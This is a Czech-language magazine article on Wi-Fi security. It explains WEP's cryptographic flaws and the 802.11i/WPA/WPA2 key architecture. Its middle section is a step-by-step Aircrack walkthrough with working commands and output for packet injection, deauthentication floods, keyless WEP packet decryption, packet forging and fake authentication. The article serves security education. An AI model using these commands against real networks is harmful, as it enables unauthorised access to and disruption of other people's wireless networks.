WEP, WPA a WPA2 - Herve Schauer Consultants

Transkript

WEP, WPA a WPA2 - Herve Schauer Consultants
Bezpečnost Wi-Fi – WEP,
WPA a WPA2
Téma čisla
Guillaume Lehembre
stupeň obtížnosti
Wi-Fi (Wireless Fidelity) je jednou z hlavních bezdrátových
technologií současnosti. Podpora Wi-Fi se integruje do stále více
a více zařízení: notebooků, PDA, mobilních telefonů. Všichni však
příliš často nechávají jeden aspekt konfigurace bez povšimnutí
a tím je bezpečnost. Podívejme se blíže na úroveň bezpečnosti
šifrovacích metod užívaných v moderních implementacích Wi-Fi.
I
když jsou v zařízeních Wi-Fi aktivována
bezpečnostní opatření, obvykle se používá slabý šifrovací protokol, například
WEP. V tomto článku prozkoumáme slabá
místa protokolu WEP a zjistíme, jak snadné
je protokol nabourat. Politováníhodná nedostatečnost protokolu WEP zvýrazňuje potřebu nové bezpečnostní architektury ve formě
standardu 802.1i, takže se také podíváme
na implementace nového standardu WPA
a WPA2 společně s jejich prvními menšími
zranitelnostmi a na jejich integraci do operačních systémů.
Odpočívej v pokoji WEP
WEP (Wired Equivalent Privacy) byl výchozím
šifrovacím protokolem, jenž byl poprvé uveden
v roce 1999 ve standardu IEEE 802.11. Protokol je založen na principu šifrovacího algoritmu
RC4 s tajným klíčem o velikosti 40 nebo 104
bitů kombinovaným s 24bitových inicialiačním
vektorem (IV) pro šifrování textové zprávy M
a jejího kontrolního součtu – ICV (Integrity
Check Value). Šifrovaná zpráva C byla proto
určena pomocí následujícího vzorce:
kde || představuje operátor zřetězení a + operátor XOR. Klíčem k bezpečnosti WEP je samozřejmě inicializační vektor, takže k udržení
přiměřené úrovně zabezpečení a zmenšení
možnosti odhalení by měl být IV zvětšen pro
každý paket tak, aby se následné pakety šifrovaly odlišnými klíči. IV se bohužel pro bezpečnost protokolu WEP přenáší jako nešifrovaný
text a standard 802.11 nenařizuje zvyšování
IV, čímž ponechává toto bezpečnostní opatření
na volbě jednotlivých implementacích bezdrátových terminálů (přístupových bodech nebo
bezdrátových kartách).
Z tohoto článku se naučíte...
•
•
•
•
Měl byste vědět...
•
•
C = [ M || ICV(M) ] + [ RC4(K || IV) ]
14
hakin9 1/2006
slabá místa šifrování WEP,
globální shrnutí standardu 802.11i a jeho komerčních implementací: WPA a WPA2,
základy standardu 802.1x,
potenciální slabá místa WPA a WPA2.
www.hakin9.org
základy TCP/IP a protokolů Wi-FI,
měli byste mít základní znalosti o šifrování.
Bezpečnost WEP, WPA a WPA2
Krátký pohled do historie
protokolu WEP
Protokol WEP nevytvořily odborníci
na bezpečnost nebo kryptografii,
takže rychle prokázal svou zranitelnost vůči problémům RC4, které
o čtyři roky dříve popsal David Wagner.
V roce 2001 vydali Scott Fluhrer, Itsik
Mantin a Adi Shamir (zkráceně FMS)
jejich slavnou publikaci o WEP, v níž
jsou představeny dvě zranitelná místa
v šifrovacím algoritmu RC4: slabé místa invariance a známé útoky IV. Oba
útoky se spoléhají na skutečnost, že
u určitých hodnot klíčů je možné, aby
u bity v počátečních bajtech keystreamu (proudu klíčů) závisely pouze
na několika bitech šifrovacího klíče
(ačkoli běžně je asi padesátiprocentní
pravděpodobnost, že každý proud klíčů bude odlišný od předchozího proudu). Jelikož šifrovací klíč se sestaví
zřetězováním tajného klíče s IV, určité
hodnoty IV poskytují slabé klíče.
Zranitelnosti byly zneužity takovými bezpečnostními nástroji, jako je
AirSnort, který umožňuje obnovit klíče WEP analyzováním dostatečného
množství síťového provozu. I když by
tento typ útoku mohl být v rámci rozumného časového rámce úspěšně
proveden na velmi vytížené síti, bylo
by potřeba poměrně hodně času na
zpracování dat. David Hulton (h1kari)
vymyslel optimalizovanou verzi útoků, která bere v úvahu nejenom první bajt výstupu Rc4 (jako v metodě
FMS), ale také následující bajty. Tím
se snížilo množství dat, které jsou
k analýzám potřeba.
Řadou slabých míst také trpí fáze
kontroly integrity a to kvůli algoritmu
CRC32, který se pro tuto úlohu používá. Algoritmus CRC32 běžně slouží
pro detekci chyb, avšak nikdy nebyl
považován za kryptograficky bezpečný a to v důsledku své lineárnosti, jak
uvedli v roce 2001 Nikita Borisov, Ian
Goldberg a David Wagner.
Poté bylo připuštěno, že protokol
WEP poskytuje přijatelnou úroveň bezpečnosti pouze pro domácí uživatele
a méně důležité aplikace. S odhalením
útoků KoreK v roce 2004 (zobecněné
útoky FMS zahrnující optimalizace od
h1kari) a invertního induktního útoku
Arbaugh, jenž dovoluje dešifrovat libo-
Obrázek 1. Šifrovací protokol WEP
Tabulka 1. Časový přehled zániku WEP
Datum
Popis
Září 1995
Potenciální zranitelnost RC4 (Wagner)
Říjen 2000
První publikace na téma zranitelnosti protokolu WEP: Unsafe
at any key size; An analysis of the WEP encapsulation (Walker)
Květen 2001 Induktivní vybraný útok proti WEP/WEP2 (Arbaugh)
Červenec
2001
CRC útok bit flipping – Intercepting Mobile Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)
Srpen 2001
Útoky FMS – Weaknesses in the Key Scheduling Algorithm
of RC4 (Fluhrer, Mantin, Shamir)
Srpen 2001
Vydání nástroje AirSnort
Únor 2002
Optimalizované útoky FMS od h1kari
Srpen 2004
Útoky KoreK (jedinečné IV) – vydání chopchop a chopper
Červenec/
Srpen 2004
Vydání nástrojů Aircrack (Devine) a WepLab (Sanchez )
implementující útoky KoreK.
volné pakety bez znalosti klíče pomocí
injektce paketů, však i tuto opatrnou
výhradu rozfoukal vítr. Tyto útoky
implementují nástroje k nabourávání
systémů jako Aircrack od Christophe
Devine nebo WepLab od José Ignacio
Sánchez, které jsou schopny obnovit
128bitový klíč WEP za méně než
10 minut (nebo nepatrně delší dobu
v závislosti na konkrétním přístupovém
bodu a bezdrátové kartě).
Přidáním injekce paketů se
značně zlepšila doba nabourávání
WEP. Už nebyly třeba miliony ale
pouze tisíce paketů s dostatečným
množstvím jedinečných IV – kolem
150 000 pro 64bitový klíč WEP a 500
000 pro 128bitový klíč. Díky injekci
paketů bylo sesbírání nezbytných dat
otázkou minut. V současné době je
protokol WEP definitivně mrtev (viz
Tabulka 1) a neměl by se používat
ani s cyklickým posuvem klíčů.
www.hakin9.org
•
•
•
•
•
Trhliny v bezpečnosti protokolu
WEP lze shrnout následovně:
Slabá místa algoritmu RC4
v rámci protokolu WEB kvůli konstrukci klíče,
IV jsou příliš krátké (24 bitů – pro
padesátiprocentní možnost kolize
je třeba méně než 5000 paketů)
a je dovoleno opětovné použití IV
(žádná ochrana proti opakování
zprávy),
Neexistuje pořádná kontrola integrity (algoritmus CRC32 slouží k
detekci chyb a kvůli své lineárnosti
není kryptograficky bezpečný),
Nemá vestavěnou metodu pro
aktualizace klíčů.
Nabourání klíče WEP pomocí
nástroje Aircrack
Praktické nabourání protokolu WEP
lze jednoduše znázornit pomocí
nástrojů jako například Aircrack (vy-
hakin9 1/2006
15
Téma čísla
Výpis 1. Aktivace monitorovacího režimu
# airmon.sh start ath0
Interface
Chipset
ath0
Atheros
Požadavek ARP
Driver
madwifi (monitor mode enabled)
Výpis 2. Odhalování sousedních sítí a jejich klientů
# airodump ath0 wep-crk 0
BSSID
00:13:10:1F:9A:72
PWR
62
Beacons
305
# Data
16
BSSID
00:13:10:1F:9A:72
STATION
00:0C:F1:19:77:5C
tvořený francouzským výzkumníkem
bezpečnosti Christophem Devinem).
Aircrack obsahuje tři hlavní utility pro
tři fáze útoku, jejichž provedení je
nezbytné k obnovení klíče:
•
•
•
airodump: bezdrátový sniffovací
nástroj, který slouží k odhalení
sítí WEP,
aireplay: injekční nástroj pro zvýšení síťového provozu,
aircrack: nástroj na crackování
klíčů WEP využívající sesbírané
jedinečné IV.
V současnosti aireplay podporuje pouze injekce na určitých bezdrátových
chipsetech a podpora injekcí v monitorovacím režimu vyžaduje nejnovější
záplaty ovladačů. Monitorovací režim
odpovídá smíšenému režimu v klasických sítích, který zamezuje zamítnutí
paketů, které nejsou určeny pro monitorovacího hostitele (což se obvykle
provede na fyzické vrstvě zásobníku
modelu OSI) a tudíž umožňuje zachycení všech paketů. Se záplatovanými
ovladači se k souběžnému zachycení
a injekci síťového provozu vyžaduje
pouze jedna bezdrátová karta.
Hlavním cílem útoku je vygenerovat provoz za účelem zachycení
jedinečných IV používaných mezi
oprávněným klientem a přístupovým
bodem. Některá šifrovaná data jsou
jednoduše rozpoznatelná, protože mají pevnou délku, pevnou adresu určení
atd. To je případ paketů požadavku
ARP (viz Rameček Požadavek ARP),
které se zasílají na vysílací adresu
(FF:FF:FF:FF:FF:FF) a mají pevnou
16
hakin9 1/2006
PWR
56
CH
1
MB
48
Packets
1
ENC
WEP
ESSID
hakin9demo
ESSID
hakin9demo
délku 68 oktetů. Pro generováních
nových ARP odezev od legitimního
hostitele lze požadavky ARP opakovat
(replay), čímž se stejné bezdrátové
zprávy šifrují pomocí nových IV.
V následujících příkladech je 00:
13:10:1F:9A:72 MAC adresa přístupového bodu (BSSID) na kanálu 1
s identfikátorem SSID hakin9demo
a 00:09:5B:EB:C5:2B je MAC adresa bezdrátového klienta (který
v závislosti na daném případu používá protokol WEP nebo WPA-PSK).
K provádění sniffovacích příkazů je
třeba mít oprávnění uživatele root.
Nejprve je nutné aktivovat na
bezdrátové kartě (v našem případě
jde o model založený na Atheros)
monitorovací režimu, abychom mohli
získat veškerý provoz (viz Výpis 1).
V dalším kroku je třeba skenováních
všech čtrnácti kanálů, které mohou
sítě Wi-Fi používat, odhalit sousední
sítě a jejich klienty (viz Výpis 2).
Výsledek uvedený na Výpisu
2 lze interpretovat následovně:
s touto bezdrátovou síti je asociován
a autentizován přístupový bod s BSSID 00:13:10:1F:9A:72 využívající
šifrování protokolu WEP na kanálu 1
s identifikátorem SSID hakin9demo
a klient identifikovaný pomocí MAC
00:0C:F1:19:77:5C.
Po nalezení cílové sítě by se
mělo zahájit zachytávání na správném kanálu, abychom při skenování
jiných kanálů nepřišli o nějaké pakety. Následující příkaz vytvoří tentýž
výstup jako předchozí příkaz:
# airodump ath0 wep-crk 1
www.hakin9.org
ARP (Address Resolution Protocol
– RFC826) slouží k překladu 32bitové
IP adresy na 48bitovou ethernetovou
adresu (sítě Wi-FI rovněž využívají
protokol Ethernet). Jednoduše řečeno,
když počítač A (192.168.1.1) chce komunikovat s počítačem B (192.168.1.2),
známá IP adresa se musí za pomoci
protokolu ARP přeložit na adresu MAC.
Proto počítač A zašle vysílací zprávu
obsahují IP adresu počítače B (Who
has 192.168.1.2? Tell 192.168.1.1).
Cílový počítač rozpozná, že IP adresa
v paketu odpovídá jeho vlastní adrese
a zašle odpověď (192.168.1.2 is at 01:
23:45:67:89:0A). Odezva se většinou
ukládá do paměti cache.
Dříve sesbírané informace můžete
pomocí nástroje aireplay dále použít
k injekci síťového provozu. Injekce
začne, když se na bezdrátové síti
objeví zachycený požadavek ARP
asociovaný k cílovému BSSID:
# aireplay -3 \
-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-x 600 ath0
(...)
Read 980 packets
(got 16 ARP requests),
sent 570 packets...
Nakonec se nástroj aircrack používá
k obnovení klíče WEP. Tento poslední krok je možné díky souboru pcap
spustit, zatímco nástroj airodump
stále zachytává data (výsledky viz
Obrázek 2):
# aircrack -x -0 wep-crk.cap
Další typy útoků
Aircrack
Aircrack rovněž umožňuje provést
jiné zajímavé typy útoků. Na některé
z nich se nyní podíváme.
Útok 2: Deautentizace
Tento útok lze používat k obnovení
skrytého SSID (tedy takového SSID,
které se nepřenáší), zachycení 4-fázového handshake WPA nebo vynucení odmítnutí služby DoS (více se
Bezpečnost WEP, WPA a WPA2
o tom dočtete dále v sekci o 802.11i).
Záměrem útoku je přinutit klienta
k opětovné autentizaci, což ve spojení s nedostatečnou autentizací pro
ovládání rámců (užívanou k autentizaci, asociaci a podobně) umožňuje
útočníkovi spoofovat MAC adresy.
Bezdrátový klient může být deautentizován pomocí následujícího příkazu způsobujícího prostřednictvím
spoofingu BSSID deautentizaci paketů, která se mají odeslat z BSSID
na klienta MAC:
# aireplay -0 5
-a 00:13:10:1F:9A:72
-c 00:0C:F1:19:77:5C
ath0
Rovněž lze provádět hromadnou deautentizaci (i když není vždy spolehlivá).
Hromadná deautentizace spočívá
v tom, že útočník nepřetržitě spoofuje
BSSID a opakovaně posílá na vysílací
adresu deautentizační paket:
# aireplay -0 0
-a 00:13:10:1F:9A:72
ath0
Útok 3: Dešifrování
libovolných datových paketů
WEP bez znalosti klíče
Tento útok je založen na nástroji
s názvem chopchop, který prokazuje
princip KoreK. Při útoku je možné dešifrovat pakety WEP bez znalosti klíče.
Kontrola integrity implementovaná
v protokolu WEP umožňuje útočníkovi
upravit jak šifrovaný paket, tak jeho odpovídající algoritmus CRC. Mimoto použití operátoru XOR v protokolu WEP
znamená, že vybraný bajt v šifrované
zprávě vždy závisí na tomtéž bajtu
nešifrované zprávy. Pokud se tedy
poslední bajt šifrované zprávy oddělí,
zpráva se sice poruší, ale rovněž tím
lze uhodnout hodnotu odpovídajícího
nešifrovaného bajtu a podle toho šifrovanou zprávu opravit.
Je-li poté opravený paket znovu
zaveden na síť, přístupový bod ho odstraní, když se domnívá, že byl chybný
(v tomto případě je třeba provést nový
odhad), ale správný odhad bude jako
obvykle přenesen. Opakováním útoku
pro všechny bajty zprávy lze dešifro-
Obrázek 2. Výsledky nástroje Aicrack po několika minutách
vat paket WEP a obnovit proud klíčů.
Pamatujete si, že zvyšování IV není
v protokolu WEP povinné, takže tento
proud klíčů je možné znovu použít ke
spoofování následných paketů (opětovným použitím stejného IV).
Bezdrátová karta musí být
přepnuta na monitorovací režim
na správném kanálu (popis, jak to
udělat, viz předchozí příklad). Útok
musí být spuštěn proti legitimnímu
klientovi (v našem případě se stále
jedná o 00:0C:F1:19:77:5C). Nástroj
airplay vyzve útočníka, aby přijal
každý šifrovaný paket (viz Výpis 3).
Vytvoří se dva soubory pcap: jeden
soubor pro nešifrovaný paket a druhý
soubor pro jeho odpovídající proud
klíče. Výsledný soubor lze převést
do čitelného tvaru pomocí vhodného čtecího nástroje (my používáme
cpdump) – příklad výměny ping mezi
počítači viz Výpis 4.
Po zachycení proudu klíčů je
možné zfalšoval libovolný paket.
Dále uvádíme spoofovaný požadavek ARP zaslaný počítačem
192.168.2.123 (00:0C:F1:19:77:5C)
na 192.168.2.103:
# arpforge \
replay_dec-0916-114019.xor \
1 \
00:13:10:1F:9A:72 \
00:0C:F1:19:77:5C \
192.168.2.123 \
192.168.2.103 \
forge-arp.cap
www.hakin9.org
Nakonec se použije nástroj aireplay
k opakování tohoto paketu (viz Výpis 5).
Tato metoda je méně automatizované než vlastní spoofování
požadavku ARP (volba -1), ale je
škálovatelnější – útočník může pomocí odhaleného proudu klíčů falšovat libovolné pakety, které nejsou
delší než proud klíčů (jinak se musí
proud klíčů rozšířit).
Útok 4: Falešná autentizace
Dříve popsaná metoda crackování
klíče WEP (útok 1 a 3) vyžaduje legitimního klienta (skutečného nebo
virtuálního, ačkoli lepší je skutečný
klient) asociovaného k přístupovému
bodu pro zajištění, že přístupový bod
nevyřadí pakety kvůli neasociované
adrese určení.
Používá-li se otevřená autentizace, lze autentizovat a asociovat
k přístupovému bodu jakéhokoli
klienta. Přístupový bod však vyřadí
jakékoli pakety, které nejsou šifrovány správným klíčem WEP. V příkladu
na Výpisu 6 se ke zfalšování autentizačního a asociačního požadavku
na SSID hakin9demo (BSSID: 00:
13:10:1F:9A:72) pomocí spoofované
adresy MAC 0:1:2:3:4:5 používá nástroj Aireplay.
Některé přístupové body vyžadují, aby se klienti každých 30 sekund
znovu asociovali. Takové chování
lze v aireplay napodobit nahrazením
druhé volby (0) za 30.
hakin9 1/2006
17
Téma čísla
802.11i
Výpis 3. Dešifrování paketů WEP bez znalosti klíče
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
Read 413 packets...
Size: 124, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = 00:13:10:1F:9A:70
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1
0x0070: 3b88 c5b1 0843 0289 1bff 5160
Use this packet ? y
Saving chosen packet in replay_src-0916-113713.cap
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671
(...)
Offset
35 (97% done) | xor = 83 | pt = 00 | 691
Offset
34 (98% done) | xor = 2F | pt = 08 | 692
Saving plaintext in replay_dec-0916-114019.cap
Saving keystream in replay_dec-0916-114019.xor
Completed in 183s (0.47 bytes/s)
.A.......r....w\
.....p.@.......,
\.'...h.#..GZ.[v
.x.....0...hV.Sl
pF_..K....j.4wt.
.......5#.U...[.
.+>.[...";.D7...
;....C....Q`
frames written in
frames written in
1120ms
2013ms
frames written in
frames written in
2072ms
2076ms
Výpis 4. Čtení souboru pcap z útoku
# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)
11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5c
DA:00:13:10:1f:9a:70
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
ICMP echo request, id 23046, seq 1, length 64
Výpis 5. Opakování zfalšovaného paketu
# aireplay -2 -r forge-arp.cap ath0
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c
0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a
0x0040: 49b7 52da
Use this packet ? y
Saving chosen packet in replay_src-0916-124231.cap
You must also start airodump to capture replies.
Sent 1029 packets...
.A.......r....w\
...............,
\.'.I.`.%.KF....
..S.o-.....3..Q.
I.R.
•
Výpis 6. Falšování autentizace
# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0
18:30:00 Sending Authentication Request
18:30:00 Authentication successful
18:30:00 Sending Association Request
18:30:00 Association successful
18
hakin9 1/2006
V lednu roku 2001 byla v institutu
IEEE sestavena úkolová skupina
i za účelem zlepšení autentizace dat
standardu 802.11 a bezpečnosti šifrování. Jako reakci na korporátní zájem
o bezdrátovou bezpečnost vydala Wi-Fi Alliance (asociace pro propagaci
a certifikaci Wi-Fi) v dubnu roku 2003
doporučení. Rovněž si však byly vědomi, že zákazníci by si nebyli ochotni
vyměnit své stávající zařízení.
V červnu 2004 bylo schváleno konečné vydání standardu 802.11i, který
dostal od asociace Wi-Fi Alliance komerční název WPA2. Standard IEEE
802.11i přinesl takové základní změny
jako oddělovaní autentizace uživatele
od vynucování integrity a soukromí
zprávy, tudíž poskytuje stabilní a škálovatelnou bezpečnostní architekturu
vhodnou nejen pro domácí sítě ale
i velké podnikové systémy. Nová architektura pro bezdrátové sítě nese označení RSN (Robust Security Network)
a používá autentizaci 802.1X, silnou
distribuci klíčů a nové mechanismy
k zajištění integrity a soukromí.
I když architektura RSN je složitější, nabízí bezpečná a škálovatelná
řešení pro bezdrátovou komunikaci.
Ve většině případech akceptuje RSN
pouze zařízení s podporou RSN,
nicméně IEEE 802.11i definuje také
architekturu TSN (Transitional Security Network), do které lze zahrnout jak
systémy RSN, tak systémy WEP, což
umožní uživatelům včas aktualizovat
své zařízení Pokud procedura autentizace nebo asociace použitá mezi
stanice využívá 4-fázový handshake,
asociace se označuje jako RSNA (Robust Security Network Association).
Sestavení bezpečného komunikačního kontextu se skládá ze čtyř
fázi (viz Obrázek 4):
www.hakin9.org
•
•
•
odsouhlasení
bezpečnostních
zásad,
autentizace 802.1X,
odvozování a distribuce klíče
utajení a integrita dat RSNA
Fráze 1: Odsouhlasení
bezpečnostních zásad
První fáze vyžaduje, aby se komunikující strany dohodli na bezpečnostních
Bezpečnost WEP, WPA a WPA2
První fáze je znázorněna na Obrázku 5.
Fáze 2: autentizace 802.1X
Obrázek 3. Model IEEE 802.1X ze specifikace IEEE 802.1X
zásadách, které budou používat.
Bezpečnostní zásady podporované
přístupovým bodem jsou oznámeny
ve zprávě Beacon nebo Probe Respond (následující Probe Request od
klienta). Poté následuje standardní
otevřená autentizace (stejně jako
v sítích TSN, kde je autentizace vždy
úspěšná). Odezva klienta je obsažena
ve zprávě Association Request, jejíž
platnost je ověřeně pomocí Association Response z přístupového bodu.
Informace o bezpečnostní zásadě se
zašlou v poli RSN IE (Information Element) a popisují:
•
•
•
•
podporované autentizační metody
(802.1X, PSK (Pre-Shared Key)),
bezpečnostní protokoly pro provoz dílčího vysílání – unicast
(CCMP, TKIP a podobně) – sada
šifer po dvojicích
bezpečnostní protokoly pro provoz skupinového vysílání – multicast (CCMP, TKIP a podobně)
– skupinová sada šifer,
podporu před-autentizace, která
v rámci hladkého předání umožňuje uživatelům provést před-autentizaci před přepnutím na
přístupový bod stejné sítě.
IEEE 802.1X a EAP
Autentizační protokol IEEE 802.1X (rovněž známý jako Port-Based Network Access Control) představuje rámec vyvinutý,
původně určený pro klasické sítě, který poskytuje mechanismy
pro distribuci klíčů, autentizaci a autorizaci. Dále implementuje
řízení přístupu pro uživatele, kteří se připojují na síť. Architekturu
IEEE 802.1X tvoří tři funkční entity:
•
•
•
supplicant připojení k síti,
autentizátor zajišťující řízení přístupu,
autentizační server provádějící autorizační rozhodnutí.
V bezdrátových sítí plní funkci autentizační autority přístupový
bod. Každý fyzický port (virtuální port v klasických sítích) se
dělí na dvě logické části vytvářející PEA (Port Access Entity).
Autentizace PAE je vždy otevřená a umožňuje autentizační
rámce, kdežto služba PAE je otevřena pouze po úspěšné autentizaci (tj. v autorizovaném stavu) po omezenou dobu (standardně
3 600 sekund). Rozhodnutí povolit přístup je obvykle provedeno
třetí entitou, konkrétně autentizačním serverem (kterým může být
buďto vyhrazený server Radius nebo – například v domácích sítích – jednoduchý proces běžící na přístupovém bodu). Jak tyto
entity komunikují znázorňuje Obrázek 3.
www.hakin9.org
Druhou fází je autentizacace 802.1X
založená na protokolu EAP a dříve
odsouhlasené specifické autentizační
metodě: EAP/TLS s certifikáty klienta
a serveru (vyžadující infrastrukturu veřejného klíče), EAP/TTLS nebo PEAP
pro hybridní autentizaci (s certifikáty
vyžadovanými pouze pro servery)
a tak dále. Autentizace 802.1X se
zahájí, když si přístupový bod vyžádá údaje o identitě klienta s odezvou
klienta obsahující upřednostňovanou
autentizační metodu. Poté proběhne
výměna vyhovujících zpráv mezi
klientem a autentizačním serverem,
aby se vygeneroval společný master
klíč (MK). Na konci procedury se
z autentizačního serveru na přístupový bod zašle zpráva Radius Accept
obsahující MK a konečnou zprávu
EAP Success pro klienta. Tato druhá
fáze je znázorněna na Obrázku 6.
Fáze 3: Hierarchie
klíče a distribuce
Bezpečnost připojení značně závisí
na bezpečnosti klíčů. V RSN má
každý klíč omezenou životnost a celková bezpečnost se zajišťuje pomocí
Standard 802.11i provádí malé změny k IEEE 802.1X pro
bezdrátové sítě, aby zodpovídal za možnost krádeže identity.
V rámci zajištění, aby jak supplicant, tak autentizátor před
zpřístupnění sítě vypočítaly své tajné klíče a aktivovaly šifrování, byla začleněna autentizace zprávy.
Komunikace supplicanta a autentizátora probíhá prostřednictvím protokolu založeném na EAP. Všimněte si, že úloha
autentizátoru je v podstatě pasivní – může jednoduše předat
autentizačnímu serveru všechny zprávy. EAP přestavuje rámec pro přenos různých autentizačních metod, který dovoluje
pouze omezený počet zpráv (Request, Response, Success,
Failure), zatímco jiné pomocné zprávy jsou závislé na zvolené
autentizační metodě: EAP-TLS, EAP-TTLS, PEAP, Kerberos
V5, EAP-SIM a tak dále. Jakmile se celý proces dokončí
(kvůli velkému množství možných metod uvádíme podrobné
vysvětlení), obě entity (tj. supplicant a autentizátor) mají tajný
univerzální klíč. Komunikace mezi autentizátorem a autentizačním serverem pokračuje pomocí protokolu EAPOL (EAP
Over LAN), s jehož pomocí se na bezdrátových sítí přenáší
data EAP prostřednictvím protokolů na vyšší vrstvě, například
Radius.
hakin9 1/2006
19
Téma čísla
V průběhu odvozování klíče nastanou dva handshaky (viz Obrázek 7):
•
•
4-Way Handshake pro odvození
PTK (Pairwise Transient Key)
a GTK (Group Transient Key)
Group Key Handshake pro obnovení GTK.
Odvození PMK (Pairwise Master
Key) závisí na používané autentizační metodě:
•
Obrázek 4. Jednotlivé fáze standardu 802.11i
•
K šifrování nebo kontrolu integrity se
však nikdy nebude používat samotný
PMK, slouží totiž pro generování dočasného šifrovacího klíče – u provozu
unicast to je PTK (Pairwise Transient
Key). Délka PTK je odvislá od šifrovacího protokolu: 412 bitů u TKIP a 384
bitů u CCMP. PTK se skládá z několika
přidělených dočasných klíčů:
Obrázek 5. Fáze 1: Odsouhlasení bezpečnostních zásad
•
•
•
•
Obrázek 6. Fáze 2: autentizace 802.1X
kolekce různých klíčů, které jsou
hierarchicky uspořádané. Jakmile
se po úspěšné autentizaci stanoví
bezpečnostní kontext, vytvoří se
20
hakin9 1/2006
Používá-li se PSK (Pre-Shared
Key), PMK = PSK. PSK se generuje z hesla, které tvoří více
slov či shluků znaku (od 8 do 63
znaků) nebo 256bitového řetězce
a poskytuje řešení pro domácí
sítě a malé podniky, které nemají
autentizační server.
Používá-li se autentizační server,
PMK se odvodí z autentizace
802.1X MK.
dočasné (relační) klíče, které se pravidelně aktualizují, dokud se bezpečnostní kontext nezavře. Generování
a výměna klíčů je cílem třetí fáze.
www.hakin9.org
KCK (Key Confirmation Key – 128
bitů): Klíč pro autentizační zprávy
(MIC) během 4-Way Handshake
a Group Key Handshake,
KEK (Key Encryption Key – 128
bitů): Klíč pro zajištění utajení
dat během 4-Way Handshake
a Group Key Handshake,
TK (Temporary Key – 128 bitů):
Klíč pro šifrování dat (používaný
TKIP a CMMP),
TMK (Temporary MIC Key – 2x64
bitů): Klíč pro autentizaci dat
(pracuje s ním pouze algoritmus
Michael s TKIP). Přidělený klíč se
používá na každé straně komunikace.
Tato hierarchie je shrnuta na Obrázku 8.
4-Way Handshake spuštěný přístupovým bodem umožňuje:
Bezpečnost WEP, WPA a WPA2
•
•
•
•
•
potvrdit, že klient zná PMK,
odvodit nový PTK,
instalovat klíče šifrování a integrity,
šifrovat přenos GTK,
potvrdit výběr sady šifer.
Mezi klientem a přístupovým bodem
se v průběhu 4-Way Handshake vymění čtyři zprávy EAPOL-Key. Tento
proces je znázorněn na Obrázku 9.
PTK se odvodí z PMK, pevného
řetězce, MAC adresy přístupového
bodu, MAC adresy klienta a dvou
náhodných čísel (ANonce a SNonce generovaných autentizátorem
a supplicantem v uvedeném pořadí).
První zprávu spustí přístupový bod
výběrem náhodného čísla ANonce
a jeho zasláním supplicantu bez šifrování zprávy nebo jiné ochrany před
zfalšováním. Supplicant generuje
své vlastní náhodné číslo SNonce
a nyní může vypočítat PTK a odvozené dočasné klíče, takže pomocí
klíče KCK zašle SNonce a klíč MIC
vypočítaný z druhé zprávy. Jakmile
autentizátor obdrží druhou zprávu,
může vytáhnout SNonce (protože
zpráva není šifrována) a vypočítat
PTK a odvozené dočasné klíče. Nyní
může ověřit hodnotu MIC ve druhé
zprávě a tudíž se ujistit, že supplicant
zná PMK a má správně vypočítaný
PTK a odvozené dočasné klíče.
Třetí zpráva zaslaná autentizátorem supplicantu obsahuje GTK
(šifrované pomocí klíče KEK), odvozené z náhodného GMK a GNonce
(podrobnosti viz Obrázek 10) spolu
s MIC vypočítaným ze třetí zprávy
pomocí klíče KCK. Když supplicant
obdrží zprávu, v rámci zajištění, že
autentizátor zná PMK a má správně
vypočítaný PTK a odvozené dočasné klíče, se ověří hodnota MIC.
Poslední zpráva potvrzuje dokončení celého handshake a udává,
že supplicant nyní nainstaluje klíč
a spustí šifrování. Při přijetí instaluje
autentizátor, jakmile ověří hodnoty
MIC, své klíče. Tudíž mobilní zařízení
a přístupový bod získaly, vypočítaly
a nainstalovaly šifrovací klíče a nyní
jsou schopny komunikovat prostřednictvím bezpečného kanálu pro provoz dílčího a skupinového vysílání.
Obrázek 7. Fáze 3: Odvození a distribuce klíče
Obrázek 8. Fáze 3: Hierarchie párového klíče
Provoz skupinového vysílání,
nebo-li multicast, je chráněn jiným
klíčem – GTK (Group Transient Key),
který se generuje z master klíče
s názvem GMK (Group Master Key),
pevného řetězce, MAC adresy přístupového bodu a náhodného číslo
GNonce. Délka GTK závisí na šifrovacím protokolu – u TKIP má 256
bitů a u CCMP má 128 bitů. GTK se
dělí na dočasné klíče:
•
•
GEK (Group Encryption Key):
Klíč pro šifrování dat (používá ho
protokol CCMP pro autentizaci
a šifrování a protokol TKIP),
GIK (Group Integrity Key): Klíč
pro autentizaci dat (používá ho
pouze algoritmus Michael s protokolem TKIP).
www.hakin9.org
Shrnutí této hierarchie je znázorněno
na Obrázku 10.
Mezi klientem a přístupovým bodem se v průběhu Group Key Handshake vymění dvě zprávy EAPOL-Key.
Tento handshake využívá dočasné
klíče generované v průběhu 4-Way
Handshake (KCK a KEK). Tento proces je znázorněn na Obrázku 11.
Group Key Handshake je potřeba pouze k deasociaci hostitele
